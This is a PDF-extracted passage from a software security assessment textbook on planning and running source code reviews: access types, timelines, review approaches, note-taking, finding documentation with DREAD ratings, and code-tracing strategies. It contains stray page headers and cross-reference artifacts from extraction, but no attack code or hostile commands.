needs if you spend all your time on complex issues and miss the low-risk but obvious ones. Focusing on low-risk issues seems like blasphemy to most technical security people, but it's often a reasonable business decision. For example, assume you're The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 105 performing a source-code-based assessment on a bank's Web-facing account management application. What is the likelihood of someone blindly finding a subtle authentication bypass that you found only by tracing through the source code carefully? In contrast, think of how easily an attacker can find cross-site scripting vulnerabilitiesjust with normal user access. So which issue do you think is more likely to be identified and leveraged by a third party? The obvious answer is cross-site scripting vulnerabilities, but that's not what many auditors go after because they want to focus on the more interesting vulnerabilities. That's not to say you should ignore complex issues and just get the easy stuff. After all, that advice would make this book quite short. However, you need to understand the goals of your review clearly. You also need to have an appreciation for what you can reasonably accomplish in a given timeframe and what confidence you can have in your results. These details are influenced by two major factors: the type of access you have to the application and the time you have available for review. Application Access Application access is divided into the five categories listed in Table 4-1. These distinctions are not, of course, absolute. There are always minor variations, such as limited source access or inconsistencies between test environments and deployment environments. However, these distinctions work well enough to cover most possibilities. Table 4-1. Categories of Application Access Category Description Source only Only the source code has been supplied, with no build environment or application binaries. You might be able to build a working binary with some effort, although some required components typically aren't available. As a result, the review is generally done using only static analysis. This type of access is common for contracted application reviews, when the client can provide source but not a functional build or testing environment. Binary only Application binaries have been supplied, but no source code is provided. The application review focuses on live analysis and reverse engineering. This type of access is common when performing vulnerability research on closed-source commercial software. Both source and binary access Both a source tree and access to a working application build are available. This type of access provides the most efficient review possible. It's most common for in-house application assessments, although security- and cost- conscious clients provide this access for contracted reviews, too. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 106 Table 4-1. Categories of Application Access Category Description Checked build You have an application binary and no source code, but the application binary has additional debugging information. This approach is often taken for contracted code reviews when a client is unwilling to provide source but does want to expedite the review process somewhat. Strict black box No direct access to the application source or binary is available. Only external, blind testing techniques, such as black box and fuzz- testing, are possible with this type of access. It's common when assessing Web applications (discussed more in Chapter 17(? [????.]), "Web Applications"). This book focuses primarily on source-code-based application review. Although the techniques discussed in this chapter can be applied to other types of reviews, more information is generally better. The ideal assessment environment includes source-based analysis augmented with access to functioning binaries and a live QA environment (if appropriate). This environment offers the widest range of assessment possibilities and results in the most time-effective review. The remaining types of access in Table 4-1 are all viable techniques, but they generally require more time for the same degree of thoroughness or have an upper limit on the degree of thoroughness you can reasonably hope to achieve. Timelines In addition to application access, you need to determine how much time can be allotted to a review. The timeline is usually the most flexible part of a review, so it's a good way to adjust the thoroughness. The most commonly used measure of application size is thousands of lines of code (KLOC). It's not an ideal way to measure an application's complexity and size, but it's a reasonable metric for general use. A good reviewer ranges between 100 to 1,000 lines of code an hour, depending on experience and details of the code. The best way to establish an effective baseline for yourself is to keep track of how much time you spend reviewing different components and get a feel for your own pacing. Code type and quality have a big impact on your review speed. Languages such as C/C++ generally require close examination of low-level details because of the subtle nature of many flaws. Memory-safe languages, such as Java, address some of these issues, but they might introduce higher-level complexity in the form of expansive class hierarchies and excessive layering of interfaces. Meanwhile, the quality of internal documentation and comments is a language-independent factor that can seriously affect your review pacing. For this reason, you should look at some samples The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 107 of the application code before you attempt to estimate for your pace for a specific codebase. Overall code size affects the pace at which you can effectively review an application. For instance, reviewing a 100KLOC application doesn't usually take twice as much time as a 50KLOC application. The reason is that the first 50KLOC give you a feel for the code, allow you to establish common vulnerability patterns, and let you pick up on developer idioms. This familiarity enables you to review the remainder of the application more efficiently. So be sure to account for these economies of scale when determining your timelines. In the end, balancing coverage with cost is usually the ultimate factor in determining your timeline. In a perfect world, every application should be reviewed as thoroughly as possible, but this goal is rarely feasible in practice. Time and budgetary constraints force you to limit the components you can review and the depth of coverage you can devote to each component. Therefore, you need to exercise considerable judgment in determining where to focus your efforts. Information Collection The first step in reviewing an application is learning about the application's purpose and function. The discussion of threat modeling in Chapter 2(? [????.]) included a number of sources for information collection. This component of your review should encapsulate that portion of the threat model. To recap, you should focus on collecting information from these sources:  Developer interviews  Developer documentation  Standards documentation  Source profiling  System profiling 6.4.4 Application Review People's natural inclination when approaching code review is to try to structure it like a waterfall-style development process. This means starting with a structured design review phase and adhering to a formal process, including DFDs and attack trees. This type of approach should give you all the information you need to plan and perform an effective targeted review. However, it doesn't necessarily result in the most time-effective identification of high and intermediate level design and logic vulnerabilities, as it overlooks a simple fact about application reviews: The time at which you know the least about an application is the beginning of the review. This statement seems obvious, but people often underestimate how much one learns over the course of a review; it can be a night and day difference. When you first sit The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 108 down with the code, you often can't see the forest for the trees. You don't know where anything is, and you don't know how to begin. By the end of a review, the application can seem almost like a familiar friend. You probably have a feel for the developers' personalities and can identify where the code suffers from neglect because everyone is afraid to touch it. You know who just read a book on design patterns and decided to build the world's most amazing flexible aspect-oriented turbo-logging engineand you have a good idea which developer was smart enough to trick that guy into working on a logging engine. The point is that the time you're best qualified to find more abstract design and logic vulnerabilities is toward the end of the review, when you have a detailed knowledge of the application's workings. A reasonable process for code review should capitalize on this observation. A design review is exceptional for starting the process, prioritizing how the review is performed, and breaking up the work among a review team. However, it's far from a security panacea. You'll regularly encounter situations, such as the ones in the following list, where you must skip the initial design review or throw out the threat model because it doesn't apply to the implementation:  You might not have any design documentation to review. Unfortunately, this happens all the time.  The design documentation might be so outdated that it's useless. Unfortunately, this happens all the time, tooparticularly if the design couldn't be reasonably implemented or simply failed to be updated with the ongoing application development.  There might be a third party who doesn't want to give you access to design information for one reason or another (usually involving lawyers).  The developers might not be available for various reasons. They might even consider you the enemy.  Clients don't want to pay for a design review. This isn't a surprise, as clients rarely want to pay for anything. It's more or less up to you as a professional to make sure they get the best bang for their buckin spite of themselves. Time is expensive in consulting and development environments, so you'd better be confident that what you're doing is the best use of your time. Accepting all the preceding points, performing a design review and threat model first, whenever realistically possible, is still encouraged. If done properly, it can make the whole assessment go more smoothly. Avoid Drowning This process has been structured based on extensive experience in performing code reviews. Experienced auditors (your authors in particular) have spent years experimenting with different methodologies and techniques, and some have worked The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 109 out better than others. However, the most important thing learned from that experience is that it's best to use several techniques and switch between them periodically for the following reasons:  You can concentrate intensely for only a limited time.  Different vulnerabilities are easier to find from different perspectives.  Variety helps you maintain discipline and motivation.  Different people think in different ways. Iterative Process The method for performing the review is a simple, iterative process. It's intended to be used two or three times over the course of a work day. Generally, this method works well because you can switch to a less taxing auditing activity when you start to feel as though you're losing focus. Of course, your work day, constitution, and preferred schedule might prompt you to adapt the process further, but this method should be a reasonable starting point. First, you start the application review with an initial preparation phase, in which you survey what information you have available, make some key decisions about your audit's structure, and perform design review if adequate documentation is available and you deem it to be time effective. After this initial phase, the cycle has three basic steps: 1. Plan Take some time to decide what you're going to do next. Select an auditing strategy; depending on the strategy, you might need to choose a goal or pick from a set of techniques. 2. Work Perform the auditing strategy you selected, taking extensive notes. 3. Reflect Take a moment to make sure you're managing your time well and are still on track. Then figure out what you've learned from the work you just performed. These three steps are repeated until the end of the application review phase, although the selection of auditing strategies changes as a result of the assessment team understanding the codebase more thoroughly. Initial Preparation You need to get your bearings before you can start digging into the code in any meaningful way. At this point, you should have a lot of information, but you probably don't know exactly where to start or what to do with the information. The first decision to make is how you're going to handle the structure of your review. If you don't have much documentation, your decision is simple: You have to derive the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 110 design from the implementation during the course of your review. If you have adequate documentation, you can use it as a basic roadmap for structuring your review. There are three generalized approaches to performing an assessment: top-down, bottom-up, and hybrid. The first two are analogous to the types of component decomposition in software design. As in software design, the approach is determined by your understanding of the design at a particular level. Top-Down Approach The top-down (or specialization) approach mirrors the classical waterfall software development process and is mostly an extension of the threat-modeling process described in Chapter 2(? [????.]), "Design Review." For this approach, you begin from your general knowledge of the application contained in your threat model. You then continue refining this model by conducting implementation assessments along the security-relevant pathways and components identified in your model. This approach identifies design vulnerabilities first, followed by logical implementation vulnerabilities and then low-level implementation vulnerabilities. This technique is good if the design documentation is completely accurate; however, any discrepancies between the design and implementation could cause you to ignore security-relevant code paths. In practice, these discrepancies are probable, so you need to establish some additional checks for assessing the pathways your model identifies as not relevant to security. Bottom-Up Approach The bottom-up (or generalization) approach mirrors the other classic software-factoring approach. The review proceeds from the implementation and attempts to establish the lowest-level vulnerabilities first. A valuable aspect of this approach is that it allows you to build an understanding of the application by assessing the codebase first. You can then develop the higher-level threat models and design documentation later in the review process, when your understanding of the application is greatest. The disadvantage is that this approach is slow. Because you're working entirely from the implementation first, you could end up reviewing a lot of code that isn't security relevant. However, you won't know that until you develop a higher-level understanding of the application. As part of a bottom-up review, maintaining a design model of the system throughout the assessment is valuable. If you update it after each pass through the iterative process, you can quickly piece together the higher-level organization. This design model doesn't have to be formal. On the contrary, it's best to use a format that's easy to update and can capture potentially incomplete or incorrect information. You can opt for DFD sketches and class diagrams, or you can use a simple text file for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 111 recording your design notes. Choose the approach you consider appropriate for the final results you need. Hybrid Approach The hybrid approach is simply a combination of the top-down and bottom-up methods, but you alternate your approach as needed for different portions of an application. When you lack an accurate design for the basis of your review (which happens more often than not), the hybrid approach is the best option. Instead of proceeding from a threat model, you use the information you gathered to try to establish some critical application details. You do this by performing an abbreviated modeling process that focuses on identifying the following high-level characteristics (from the design review process):  General application purpose What is the application supposed to do?  Assets and entry points How does data get into the system, and what value does the system have that an attacker might be interested in?  Components and modules What are the major divisions between the application's components and modules?  Intermodule relationships At a high level, how do different modules in the application communicate?  Fundamental security expectations What security expectations do legitimate users of this application have?  Major trust boundaries What are the major boundaries that enforce security expectations? These points might seem nebulous when you first encounter a large application, but that's why you can define them broadly at first. As you proceed, you can refine your understanding of these details. It can also help to get a few complete design reviews under your belt first. After all, it's good to know how a process is supposed to work before you try to customize and abbreviate it. Plan In the planning phase, you decide which auditing strategy you should use next. These auditing strategies are described in detail and evaluated based on several criteria in "Code-Auditing Strategies(? [????.])," later in this chapter. However, you need to understand some general concepts first, described in the following sections. Consider Your Goals Typically, you have several goals in an application assessment. You want to discover certain classes of implementation bugs that are easy to find via sub-string searches or the use of tools, especially bugs that are pervasive throughout the application. Cross-site scripting and SQL injection are two common examples of these types of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 112 bugs. You might analyze one or two instances in detail, but the real goal here is to be as thorough as possible and try to come up with a list that developers can use to fix them all in one mass effort. You also want to discover implementation bugs that require a reasonable degree of understanding of the code, such as integer overflows, where you have to know what's going on at the assembly level but don't necessarily have to know what the code is trying to do at a higher level of abstraction. As your understanding develops, you want to discover medium-level logic and algorithmic bugs, which require more knowledge of how the application works. You also want to discover higher-level cross-module issues such as synchronization and improper use of interfaces. If you're using a top-down approach, you might be able to ascertain such vulnerabilities working solely from design documentation and developer input. If you're using a bottom-up or hybrid approach, you will spend time analyzing the codebase to create a working model of the application design, be it formal or informal. Pick the Right Strategy The "Code-Auditing Strategies(? [????.])" section later in this chapter describes a number of options for proceeding with your review. Most of these strategies work toward one or more goals at the same time. It's important to pick strategies that emphasize the perspective and abstraction level of the part of the review you're focusing on. Your planning must account for the stages at which a strategy is best applied. If you can perform a true top-down review, your progression is quite straightforward, and your strategies proceed from the application's general design and architecture into specific implementation issues. However, in practice, you can almost never proceed that cleanly, so this section focuses on considerations for a hybrid approach. The beginning of a hybrid review usually focuses on the simpler strategies while trying to build a more detailed understanding of the codebase. As you progress, you move to more difficult strategies that require more knowledge of the implementation but also give you a more detailed understanding of the application logic and design. Finally, you should build on this knowledge and move to strategies that focus on vulnerabilities in the application's high-level design and architecture. Create a Master Ideas List As the review progresses, you need to keep track of a variety of information about the code. Sometimes you can lose track of these details because of their sheer volume. For this reason, maintaining a separate list of ways you could exploit the system is suggested. This list isn't detailed; it just includes ideas that pop into your head while you're working, which often represent an intuitive understanding of the code. So it's a good idea to capture them when they hit you and test them when time is available. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 113 Pick a Target or Goal Reviewing a large codebase is overwhelming if you don't have some way of breaking it up into manageable chunks. This is especially true at the beginning of an assessment when you have so many possible approaches and don't know yet what's best. So it helps to define targets for each step and proceed from there. In fact, some code-auditing strategies described in this chapter require choosing a goal of some sort. So pick one that's useful in identifying application vulnerabilities and can be reasonably attained in a period of two to eight hours. That helps keep you on track and prevents you from getting discouraged. Examples of goals at the beginning of an assessment include identifying all the entry points in the code and making lists of known potentially vulnerable functions in use (such as unchecked string manipulation functions). Later goals might include tracing a complex and potentially vulnerable pathway or validating the design of a higher-level component against the implementation. Coordinate When reviewing a large application professionally, usually you work with other auditors, so you must coordinate your efforts to prevent overlap and make the most efficient use of your time. In these situations, it helps if the module coupling is loose enough that you can pick individual pieces to review. That way, you can just make notes on what potential vulnerabilities are associated with a set of module interfaces, and one of your co-auditors can continue the process to review these interfaces in his or her own analysis. Unfortunately, divisions aren't always clean, and you might find yourself reviewing several hundred KLOC of spaghetti code. Splitting up the work in these situations might not be possible. If you can, however, you should work closely with other auditors and communicate often to prevent too much overlap. Fortunately, a little overlap can be helpful because some degree of double coverage is beneficial for identifying vulnerabilities in complex code. Remember to maintain good notes and keep each other informed of your status; otherwise, you can miss code or take twice as long on the application. You also need to know when coordinated work just isn't possible, particularly for smaller and less modular applications. With these applications, the effort of coordination can be more work than the review of the application itself. There's no way to tell you how to make this call because it depends on the application and the team performing the review. You have to get comfortable with the people you work with and learn what works best for them and you. Work The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 114 The actual work step involves applying the code-auditing strategies described in this chapter. This explanation sounds simple, but a lot of effort goes into the work step. The following sections cover a handful of considerations you need to remember during this step. Working Papers Regulated industries have established practices for dealing with working papers, which are simply notes and documentation gathered during an audit. The information security industry isn't as formalized, but you should still get in the habit of taking detailed assessment notes. This practice might seem like a nuisance at first, but you'll soon find it invaluable. The following are a few reasons for maintaining good working papers:  Notes help you to organize your work and ensure proper code coverage.  Working papers provide an easy way to transfer knowledge to another auditor and help distributing work among an auditing team.  Clients often expect a consultant to supply detailed documentation to justify vulnerability findings and provide proof of code coverage.  An application might require follow-up reviews, and working papers can drastically reduce the time needed to perform these reviews. Knowing the value of notes is one thing, but every auditor has his or her own style of note taking. Some reviewers are happy with a simple text file; others use spreadsheets that list modules and files. You can even create detailed spreadsheets listing every class, function, and global object. Some reviewers develop special-purpose interactive development environment (IDE) plug-ins with a database back end to help in generating automated reports. In the end, how you take notes isn't as important as what you're recording, so here are some guidelines to consider. First, your notes should be clear enough that a peer could approximate your work if you aren't available. Analogous to comments in code, clear and verbose notes aren't just for knowledge transfer, but also prove useful when you have to revisit an application you haven't seen in a while. Second, your notes must be thorough enough to establish code coverage and support any findings. This guideline is especially important for a consultant when dealing with clients; however it is valuable for internal reviews as well. Don't Fall Down Rabbit Holes Sometimes you get so caught up in trying to figure out a fascinating technical issue that you lose track of what your goal is. You want to chase down that complex and subtle vulnerability, but you risk neglecting the rest of the application. If you're lucky, your trip down the rabbit hole at least taught you a lot about the application, but that won't matter if you simply run out of time and can't finish the review. This mistake is The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 115 fairly common for less experienced reviewers. They are so concerned with finding the biggest show-stopping issue they can that they ignore much of the code and end up with little to show for a considerable time investment. So make sure you balance your time and set milestones that keep you on track. This might mean you have to ignore some interesting possibilities to give your client (or employer) good coverage quality within your deadline. Make note of these possible issues, and try to return to them if you have time later. If you can't, be sure to note their existence in your report. Take Breaks as Needed Your brain can perform only so much analysis, and it probably does a good chunk of the heavy lifting when you aren't even paying attention. Sometimes you need to walk away from the problem and come back when your subconscious is done chewing on it. Taking a break doesn't necessarily mean you have to stop working. You might just need to change things up and spend a little time on some simpler tasks you would have to do anyway, such as applying a less taxing strategy or adding more detail to your notes. This "break" might even be the perfect time to handle some minor administrative tasks, such as submitting the travel expense reports you put off for the past six months. However, sometimes a break really means a break. Get up from your chair and poke your head into the real world for a bit. Reflect In the plan and work steps, you've learned about the value of taking notes and recording everything you encounter in a review. In the reflect step, you should take a step back and see what you've accomplished. It gives you an opportunity to assess and analyze the information you have without getting tripped up by the details. This step enables you to make clearer plans as your review continues. Status Check Look at where you are in this part of your review and what kind of progress you're making. To help you determine your progress, ask yourself the following questions:  What have you learned about the application?  Are you focusing on the most security-relevant components?  Have you gotten stuck on any tangents or gone down any rabbit holes?  Does your master ideas list have many plausible entries?  Have you been taking adequate notes and recorded enough detail for review purposes?  If you're working from application models and documentation (or developing them as you work), do these models reflect the implementation accurately? Of course, this list of questions isn't exhaustive, but it's a good starting point. You can add more questions based on the specific details of your review. Include notes about The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 116 possible questions on your master ideas list, and incorporate them into your status check as appropriate. Reevaluate Sometimes plans fail. You might have started with the best of intentions and all the background you thought you needed, but things just aren't working. For example, you started with a strict top-down review and found major discrepancies between the design and the actual implementation, or your bottom-up or hybrid review is way off the mark. In these cases, you need to reevaluate your approach and see where the difficulties are stemming from. You might not have chosen the right goals, or you could be trying to divide the work in a way that's just not possible. The truth is that your understanding of an application should change a lot over the course of a review, so don't be bothered if a change in your plan is required. Finally, don't mistake not identifying any vulnerabilities for a weakness in your plan. You could be reviewing a particularly well-developed application, or the vulnerabilities might be complex enough that you need a detailed understanding of the application. So don't be too quick to change your approach, either. Peer Reviews Getting input from another code auditor, if possible, is quite valuable. When you look at the same code several times, you tend to get a picture in your head about what it does and how it works. A fresh perspective can help you find things you might not have seen otherwise because you hadn't thought of them or simply missed them for some reason. (As mentioned, glancing over a few lines of code without fully considering their consequences can be easy, especially during all-night code audits!) If you have another code reviewer who's willing to look over some of your work, by all means, compare notes. An interesting exercise is to look at the same code without discussion, and then compare what you both came up with. This exercise can help you see any inconsistencies between how either of you thinks the code works. Usually, peer reviewing isn't feasible for double-checking your entire audit because basically, it means doing the audit twice. Therefore, peer reviews should focus on parts of the code that are particularly complex or where you might not be certain of your work. 6.4.5 Documentation and Analysis After the hard work is over, you need to document your findings. This phase is essentially the same as the final phase of the threat model from Chapter 2(? [????.]), and you can use the same basic documentation process. Table 4-2 is an example of the findings from Chapter 2(? [????.]) updated with the vulnerability's implementation details. Table 4-2. Finding Summary The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 117 Threat Brute-force login Affected component Human resources management login component Module details login.php (lines 4963) Vulnerability class Authentication bypass Description Different errors are returned for invalid usernames and passwords, making usernames easier to identify. This error makes a successful brute-force attack much more likely against users with weak or easily guessed passwords. Result Untrusted clients can gain access to user accounts and, therefore, read or modify sensitive information. Prerequisites The application is located on the corporate intranet, limiting its exposure. Business impact A malicious third party can access a user's personal data, which could be a violation of federal privacy regulations. Proposed remediation Make error messages ambiguous so an attacker doesn't know whether the username or password is invalid. Lock the user account after repeated failed login attempts. (Three or five attempts would be appropriate.) Risk Damage potential: 6 Reproducibility: 8 Exploitability: 4 Affected users: 5 Discoverability: 8 Overall: 6.2 This sample is certainly functional; however, it's not the only approach. Your level of detail can vary depending on your reasons for the audit and who the report is for. The following list is considered useful information to support a security finding:  Location of the vulnerability This information (in Table 4-2's Module details row) should be fairly specific. You should usually include the filename, function The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 118 name, and line number in the code. Sometimes a vulnerability spans many lines of code (and possibly several functions); in this case, you could omit a line number or give a range of line numbers. Also, you might choose to have one finding that represents a pervasive vulnerability, in which case this information would contain a large list of locations or refer to an external list generated by a tool or search.  Vulnerability class A classification of sorts about the nature of the bug, whether it's buffer overflow, integer overflow, unchecked copy, dangerous API use, or one of the other vulnerability classes discussed in this book.  Vulnerability description This summary of the vulnerability should describe why the code you're drawing attention to isn't secure. In some cases (such as a generic buffer overflow), you need to write very little, but more complex or unique vulnerabilities might require expanding the description to include more specifics.  Prerequisites This is a list of prerequisite conditions that need to be true for the vulnerability to be triggered. The list might include configuration options or technical factors that need to exist before the vulnerability is a problem.  Business impact Most reviews need to put technical risks in the context of business risks. Specifying the business impact can be tricky, as it changes depending on who's expected to deploy the application and how it will be used. However, business factors are what motivate the review, so your findings need to address these concerns.  Remediation It is possible that this information might not be required in some cases, or it might only be a simple line or two explaining how the developers might want to fix the vulnerability. When working closely with a development team, however, the remediation section might be quite detailed and provide several options for addressing the vulnerability.  Risk This rating is the risk determined from the vulnerability's severity combined with the probability of exploit. The DREAD rating system from Chapter 2(? [????.]) encapsulates this information as the overall risk rating.  Severity This information is the amount of damage that can be incurred if the vulnerability is exploited successfully. The DREAD rating system from Chapter 2(? [????.]) encapsulates severity in the damage potential and affected users risk factors.  Probability This information is the likelihood of the vulnerability being exploited successfully. The DREAD rating system from Chapter 2(? [????.]) encapsulates probability in the reproducibility, discoverability, and exploitability risk factors. Generally, you need to include an overall summary of how the application measured up. Was it extremely secure, making exploitable bugs difficult to find? Or did it seem as though the developers weren't aware of security considerations? Assigning an overall "grade" can be subjective, so make sure you don't come across as judgmental or condescending. Instead, you should rely on your results to convey the application's quality, and try to express the trends you see and the potential for future problems. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 119 After you have some experience, the summary component will seem easier, as you should be able to get a feel for how securely an application is developed. 6.4.6 Reporting and Remediation Support A good application security assessment should not be an isolated event. Sometimes the findings are just handed off and the job is done. However, most assessments require some degree of follow-up and interaction with the development team. Application security often isn't well understood, so you might play a big part in carrying out remediation. In particular, the developers might need to be educated on the nature of the vulnerabilities you identify. They might also need you to review the proposed remediation and identify any issues that weren't addressed adequately or spot the introduction of new vulnerabilities. The remediation review can also introduce additional operational review requirements, which often occurs with serious design vulnerabilities or pandemic implementation issues. Severe issues might be too expensive or time consuming to address adequately. Therefore, the development team might need your assistance in identifying stopgap measures and operational protections that can provide additional assurance. Vulnerability research has its own unique process, even though a researcher typically has only one or two critical risk bugs that warrant publication. The amount of work required to document, report, and support just one bug can easily exceed the effort needed to support an internal assessment with 30 findings. The issue must be documented technically and reported to third-party vendors, which is usually fairly straightforward. A researcher generally constructs exploits for a few platforms before contacting the vendor. This step is a final sanity check of the analysis and unequivocally establishes the risk of the issue in case its exploitability is disputed. The vendor typically asks for at least a month to fix the bug. At some point, the researcher has to prepare information for publication, which must be scrutinized and fact checked. Researchers might also be responsible for constructing intrusion detection system (IDS) signatures and scanner checks or creating reliable exploits suitable for penetration testers to use. Before publication, sometimes they're asked to verify the developer's remediation, and they often help the marketing staff prepare a press release to accompany any advisory. After the vulnerability is published, the researcher occasionally explains the issue to reporters and addresses any issues raised in response to the disclosure. 6.4.7 Code Navigation There are a few basic ways to traverse through functions and modules in source code, defined by where you start, what your goal is, and how you follow the code. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 120 Borrowing some language from other disciplines, code navigation can be described in terms of external flow sensitivity and tracing direction. External Flow Sensitivity When you review an entire application, you need to find different ways to decompose it into more manageable parts. One of the easiest ways to do this is to isolate the application code's external flow, which refers to how execution proceeds from function to function, but not inside a function. It's divided into two categories: control-flow sensitive and data-flow sensitive. A brief example should help illustrate what this concept means: int bob(int c) { if (c == 4) fred(c); if (c == 72) jim(); for (; c; c) updateglobalstate(); } Look at this example first in the context of ignoring external control flow and data flow. This means you simply read this code from top to bottom; you don't branch out to any function calls. You might note that the code uses some sentinel values to call fred() and jim() and seems to trust its input c. However, all your analysis should be isolated to this function. Consider the same example from a control-flow sensitive viewpoint. In this case, you start reading this function and see the call to fred(). Because you haven't seen fred() before, you pull it up and start checking it out. Then you trace into the call to jim() and do the same for the call to updateglobalstate(). Of course, each of these functions might call other unfamiliar functions, so your control-flow sensitive approach requires evaluating each one. This approach could conceivably involve reading dozens of functions before you finish this simple code path. Now say you follow only the data flow corresponding to the data in the c variable and ignore any control flow that doesn't affect this data directly. With this approach, you trace through to the call to fred() because it passes the c variable. However, this analysis simply ignores jim() because it doesn't affect the data. Finally, if you were following control flow and data flow, you'd have some idea of what the value of c might be coming into this function. You might have a certain value in mind or a possible set of values. For example, if you know that c couldn't be 4, you The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 121 wouldn't bother reading fred(). If you suspected that c could be 72, however, you need to trace into jim(). If you haven't done much code review, you would probably guess that the most useful method combines control-flow sensitive and data-flow sensitive approaches because you'd be closely following what could happen as the program runs. It might surprise you to know that many experienced auditors rely primarily on techniques that aren't control-flow or data-flow sensitive. The reason they have done so is to simplify the number of mental context switches they deal with to make the most effective use of their time. Generally, it's more effective to review functions in isolation and trace the code flow only when absolutely necessary. Note Flow analysis is an important concept in compiler design, and these characterizations between control flow and data flow have been simplified for the purposes of this discussion. However, real compiler theory is far more complex and should only be attempted by card carrying computer scientists. Tracing Direction When tracing code, you can follow one of two paths: forward-tracing, usually done to evaluate code functionality, and back-tracing, usually done to evaluate code reachability. Forward-tracing can be done using any of the four types of flow sensitivity outlined previously. Forward traces that incorporate control flow and/or data flow start at entry points, trust boundaries, or the first line of key algorithms. Forward traces that ignore control flow and data flow start at the first line of a file or the top of a module implementation. All four techniques are essential core processes for analyzing code. Back-tracing usually starts at a piece of code identified as a candidate point, which represents a potential vulnerability in the system. Examples include issuing dynamic SQL statements, using unbounded string copies, or accessing dynamically generated file paths. Candidate points are usually identified through some form of automated analysis or by going through the code with the grep utility to find known vulnerable patterns. After identifying candidate points, the reviewer traces from them back to the application's entry points. The advantage of back-tracing is that it involves fewer code paths than forward-tracing. The disadvantage is that it's only as strong as your selection of candidate points, so you run the risk of overlooking exploitable pathways because you didn't consider valid candidate points. You also tend to miss logic-related The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 122 vulnerabilities entirely because they rarely map cleanly to algorithmically detectable candidate points. 6.4.8 Code-Auditing Strategies This section introduces a number of strategies for auditing code and explains their strengths and weaknesses. Keep in mind that these strategies can (and often must) be combined to suit the nuances of the application you're reviewing. Developing your own strategies based on the workflow you find most appealing is encouraged, too. Three basic categories of code-auditing strategies are described in the following sections, and all three have their value in different situations. The following list summarizes the categories:  Code comprehension (CC) strategies These strategies involve analyzing the source code directly to discover vulnerabilities and improve your understanding of the application.  Candidate point (CP) strategies These strategies feature two distinct steps. First, create a list of potential issues through some mechanism or process. Second, examine the source code to determine the relevance of these issues.  Design generalization (DG) strategies These strategies, a bit more flexible in nature, are intended for analyzing potential medium- to high-level logic and design flaws. Each strategy description in the following sections includes a scorecard so that you can compare the finer points easily. Table 4-3 gives you a legend for understanding these scorecards. Table 4-3. Auditing Strategies Scorecard Legend Start point Where tracing begins for the strategy End point The goal for the strategy or where tracing ends Tracing method Defines the types of external code flow analysis and tracing direction associated with the strategy Goal Identifies the purpose of the strategy, meaning what general types of vulnerabilities it targets Difficulty The difficulty of using the strategy; however, difficulty generally decreases as you gain a better understanding of the code. These measures are defined as follows: Easy The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 123 Table 4-3. Auditing Strategies Scorecard Legend Start point Where tracing begins for the strategy Moderate Hard Very hard Speed A measure of how quickly you can perform the strategy, which is often affected by its difficulty. These measures are defined as follows: Very slow Slow Medium Fast Very fast Comprehension impact A measure of how much this review strategy builds your understanding of the application's function, including the design and implementation. Strategies with a higher comprehension impact are usually more difficult but pay off by allowing you to identify more complex flaws. These measures are defined as follows: Very low Low Medium High Very high Abstraction Identifies the level at which the strategy operates, which determines the types of vulnerabilities it identifies and the existing knowledge you need to apply the strategy. These levels are defined as follows: Basic implementation: Vulnerabilities in implementation that can be identified without understanding the application's function or The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 124 Table 4-3. Auditing Strategies Scorecard Legend Start point Where tracing begins for the strategy purpose; includes simple buffer overflows, format strings, and so forth. Complex implementation: More complex implementation vulnerabilities that can be identified with some additional application context but require no understanding of the function and purpose; includes integer and typing issues, synchronization issues, and so on. Implementation logic: Vulnerabilities identified from understanding the application's function at a module level but doesn't necessarily require knowing the high-level design abstractions. Design: Vulnerabilities in an application's abstract design. Architectural: Vulnerabilities in the high-level interaction between an application's components or its relationship with other systems; includes many classes of operational vulnerabilities. Strengths A summary of this strategy's common strengths compared to other strategies Weaknesses A summary of this strategy's common weaknesses compared to other strategies Code Comprehension Strategies Code comprehension strategies are organized around discovering vulnerabilities by directly analyzing the code. Typically, success with these techniques require you to read the code and understand it. They require higher degrees of concentration and discipline than other techniques, but they pay dividends in terms of learning the codebase. As noted in the previous bulleted list, the abbreviation "CC" is used for the following discussion of these strategies. Trace Malicious Input The CC1 technique (see Table 4-4) is close to what most people think code review involves. You start at an entry point to the system, where user-malleable information can come in. You then trace the flow of code forward, performing limited data flow analysis. You keep a set of possible "bad" inputs in the back of your mind as you read the code and try to trace down anything that looks like a potential security issue. This The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 125 technique is an effective way to analyze code, but it requires some experience so that you know which functions to trace into. Table 4-4. CC1: Trace Malicious Input Start point Data entry points End point Security vulnerabilities (open-ended) Tracing method Forward, control-flow sensitive, data-flow sensitive Goal Discover security problems that can be caused by malicious input. Use threat model and/or common vulnerability classes to help guide analysis. Difficulty Hard Speed Very slow Comprehension impact High Abstraction Basic implementation through implementation logic Strengths Inherent focus on security-relevant code Can sometimes identify subtle or abstract flaws Difficult to go off track Weaknesses Code and data paths balloon up quickly, especially in object-oriented code Easy to overlook issues Requires focus and experience Generally, you focus your efforts on searching for any type of behavior that appears unsafe: a vulnerability class you recognize, a failure to define a trust boundary where it's needed, and so forth. It's hard to go too far off track with this technique because you can usually keep yourself on the trail of malleable input data. However, overlooking issues when you get tired or impatient can happen, as inevitably you start skipping over functions you would have analyzed earlier in the day. Unfortunately, this strategy is so time consuming that you're certain to lose focus at some point. This kind of analysis can prove difficult in object-oriented code, especially poorly designed object-oriented code. You'll know quickly whether this is an issue because the first user input you trace makes you open five or six source code files, usually before the system manages to do anything with the input. In this case, you need the assistance of accurate design documentation, including a fairly complete threat The Art of Software Security 